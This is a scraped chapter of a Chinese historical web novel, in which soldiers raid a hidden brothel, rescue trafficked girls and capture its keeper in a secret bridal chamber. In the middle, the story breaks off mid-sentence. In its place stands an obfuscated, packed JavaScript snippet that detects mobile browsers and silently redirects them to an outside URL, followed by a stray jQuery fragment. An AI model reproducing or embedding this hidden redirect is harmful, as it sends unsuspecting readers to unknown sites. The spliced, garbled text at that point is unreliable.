外头有些声响,还见人举着烛火接近淡月的窗沿。
正在屋内闭目小憩的她,听见屋外二人对话。
“淡月姑娘睡了吗?”这是孙哥的声音。
盼儿:“妹妹刚刚睡下了。”
“我们即刻启程去围剿橙娘一伙人,院子里会留一些家丁把守着,若是有什么需要尽管吩咐他们就是。”
“多谢。”
一人的脚步声渐行渐远。
盼儿推门而入。
早先屋内的烛火被熄了大半,现下屋内的光亮很微弱,淡月正坐在茶桌旁,点点光晕将她的身形映在地面上,光是从轮廓便能分辨出是个气质美人。
她倒茶的手未停,眼眸中有一点点烛火闪烁,“他们走了?”
“是,他们院子里留了点人。今晚需要我守夜吗?还是在屋里陪您?”
淡月的面色不太好,眼眸闪烁显得有些担忧,她的声音淡淡的:“我有点担心沈意。”
门被仔细关好,盼儿立马便领会了她的意思,尝试开解道:“沈意姑娘年纪比较小,一下子去了危机,难免会觉得疲累,所以睡得早了些。方才我去看过了,屋里还是静悄悄的。”
茶桌前的美人眼眸一转,似是想起什么,问道:“那纸条呢?”
“还在原处。”
虽然盼儿的此番话语有安慰之意,但她的心里总觉得不太对。
但现下她既睡着,便不好唤起来打扰,只能等明日再问问她。
希望是她想多了。
*
另一边。
夜色浓重,二十多人的队伍看着浩荡,却步子很轻,就连崔平岸的兵士都换上轻便的着装,方便一会儿潜入擒拿贼人。
那是一处藏匿于山林间的院落,四周被杂草围住,仔细看不难发现杂草下会有可以过人的口子。
他们很快便和把守在院落外的家丁们汇合。
“原来这就是买卖女人的窑子。”崔平安怒气很盛,盯着前方小声说道,声音中却藏匿着杀意。
许恒对此处也是初见,汇合后身影却不断在东张西望,终是在一处极为隐蔽的树木旁发现他要找的人。
“在这儿等我。”说完,他便疾步走去。
许恒正和树后的男子交谈着,男子是他的暗线,二人交谈时却没有上下级的感觉,却让人一看便知是故交。男子从袖口拿出一张软纸,依旧是裹得皱巴巴的,迎合着薄弱月光,不难发现男子的手腕处有一道三角胎记。
不一会儿,男子快步朝杂草堆走去,消失在众人眼前。而此时,许恒已经回到队伍当中。
他展开那张皱褶的纸张,那是窑子里头的地形图,画的十分详细,还用不同形状将关着女孩的地方、橙娘房间、管事的房间、人员数量以及女孩的数量都仔细标注好了,不难看出画图者之用心。
核心的几人在许恒的部署下点头。
队伍被分为三组,崔将军率领十人前去拿下贼人管事们,孙哥率领十人去营救女孩,剩下的四人跟随许恒一起直捣橙娘住所。
到底是在边塞的军队,执行力高得吓人,随着三位领队的号令,后面跟着的兵士步伐一致,连身形都一致。前头的人弯腰,后面的人都跟着弯腰到同一个角度。前头的人侧身,后面的人极为默契地都侧过身。
崔将军前行前去,解决沿途看守的几个大汉。那几个大汉对于平常女子来说着实看着吓人,可对于燕北军来说,却是几下就能轻松解决的喽啰,甚至都不需要崔将军出手。
孙哥带着人跟随在崔将军的队伍后面,很快便到达女孩们被关押的地方,见有生人来,女孩们有的发出惊叫。
“嘘!”孙哥急忙示意女孩们安静。“我们是恒王部下,这位是燕北军队的崔将军,你们大可放心,我们是来救你们的。”
慌乱下的女孩很少有能听进去话的,里头却有个极为机灵又敢说话的女孩统领着大家。她很谨慎,示意大家安静,却仍对孙哥质疑道:“燕北军隶属恒王不假,可是恒王远在东京城又怎么会管我们这个南边镇子?”
崔将军拿出随身令牌,上面刻着“燕”字,这是燕北军只有将军才有的令牌。
女孩见状不再质疑来人身份,而是转而帮助对方将女孩们整齐疏散出去,这下可是帮了孙哥一个大忙。
很快,几处关押女孩的地方已经被成功疏散至林外,孙哥带着人正清点女孩的数量和名讳,顺带记录家世,方便后续送她们安全回家。只是大多数女孩都是孤儿,好在此前许恒联系了隔壁城镇的收养组织,也能将她们安顿过去。
孙哥赞叹道:“还得是公子有先见之明。”
崔将军和孙哥处都极为顺利,可是许恒却遇到一个大的难题。
他跟随着暗线一起摸进橙娘住处时,打开屋门却没有一丝有人住过的痕迹。这意味着,橙娘好像跑了!
暗线哥很快推翻这个想法:“应该不会,她一般日落时会进屋子,等到第二日卯时才会出来。近几日也都很正常,未曾听说她有逃跑的迹象。”
眼尖的许恒发觉屋内仅有一个烛火台,伫立于正门对面书案的最上方,烛火是熄的,他用手摸了摸蜡烛,尚有淡淡的余温。
他似是想到什么,问出心中疑惑:“她平时会点烛火吗?”
暗线哥十分努力在回想:“很少,我一般巡夜会刻意经过此处,她都是进屋后不亮烛火,待到子时左右偶尔会亮一次。”
许恒恍然大悟。
暗线哥不解:“她难道不是起夜才亮烛火吗?”
得到的答案是摇头。
那根蜡烛被点亮,果然如许恒所料,屋内的某处传来轻微响动。二人闻声去寻却没有找到声响的来源,许恒倚靠在立柱旁,默不作声地思索着。不一会儿,他走至烛火前,一口吹灭。屋内原本微弱的亮光在一瞬间漆黑无比。
左侧的书案开始响动,声响很轻微,却也会在此般静谧的状况下被听见。
书案移动,露出一个暗道,看起来深不见底,但有可以往下走的楼梯。二人对视,此时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245899|164853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崔将军刚好赶到,他已经清理掉了所有在此务工的大汉,带着人前来帮忙。
除去押送大汉的兵士,一行六人一起进入暗道。
大家走下楼梯的脚步很轻,仿佛下一秒跌落一根针的声响都比几人脚步声更甚。
底下真是别有洞天,下到最底下映入眼帘的先是触目的红色,此红非彼红,这是嫁娶之色。整个洞穴的装饰全是大婚应有的东西,就连屏风都是红木雕琢而成。
许恒举手示意大家停在原地,自己则悄声往前走去。往里走是一间喜房,以正红色为主基调,点缀了些金色,烛台为金,漆器为暗红。屏风前放着合卺酒杯,和一大碗红枣。
瞧此场景,他蹙眉的程度更深,脚步靠里,左手边的妆台铜镜,只见铜镜边缘已经褪色,台面上女子装扮的物品很齐全,螺带、胭脂等等都被整齐地排列。
他侧头往里瞧,只见橙娘正躺在喜床之上熟睡,仔细听还有均匀的呼吸声传来。
见想找的人在里头,他回望一眼,几人心领神会地冲进去,一举拿下贼人头子。
从睡梦中被惊醒的橙娘,只见平日只有自己知晓的暗室被人闯入,还未来得及惊慌便被人擒住,动弹不得。
“恒王部下崔平岸,奉命前来缉拿。橙娘,你可知罪?”崔将军居高临下看着眼前跪在地上一身喜服的女子。
橙娘的眼神先是恍惚,再到逐渐清明,当她看清面前几人,尤其是许恒后,终于是想通了前因后果。
她扯出一抹悲凉的笑,眼神死死盯着许恒:“你以为我真的贪财吗?我不过是觉得淡月像极了曾经的我,才任由她带着我胡闹,一下心软放走了她,没想到,最后竟成了索我命的导火索。”
许恒的眸子冰冷,声音也透着刺骨寒意:“她与你,不同。”
橙娘笑得猖狂又悲壮:“有何不同?!我们同样在少女时期被人欺,遭人遗弃。”
他的声音更冰冷了些:“我没有欺负她。”
“你看,你们看,男人皆是如此。前脚喜你爱你,后脚得到了却拒不承认。”橙娘看向他的眼神开始空洞起来,似是通过他在看另一个人。
不知为何,许恒打从第一眼看见橙娘开始就觉得有一点眼熟,现下她一身喜服更觉得眼熟。
暗线哥此刻一语惊醒梦中人:“你本是东京城里最受瞩目的花魁''橙'',为何要干这种勾当?”
是了。
花魁...
早在三年前,许恒流落街头之时,听见那些男人纷纷议论有一位花魁样貌虽没有那般惊艳,可是举手投足之间散发的女人味,可是让那些男人垂涎欲滴。花魁每逢十五会在城中转上一圈,他曾遇见过一次,那时他还在心里想,是个有魅力的女子,却还是差了分毫。
差的是哪个分毫,只有他心里自己知晓。
橙娘已经好多年没有听见别人叫她曾经的称谓了,在她心里,那段日子的风光是没有什么可以与之匹敌的。她低下了头,也许是大难临头了,她才愿意讲出自己的故事。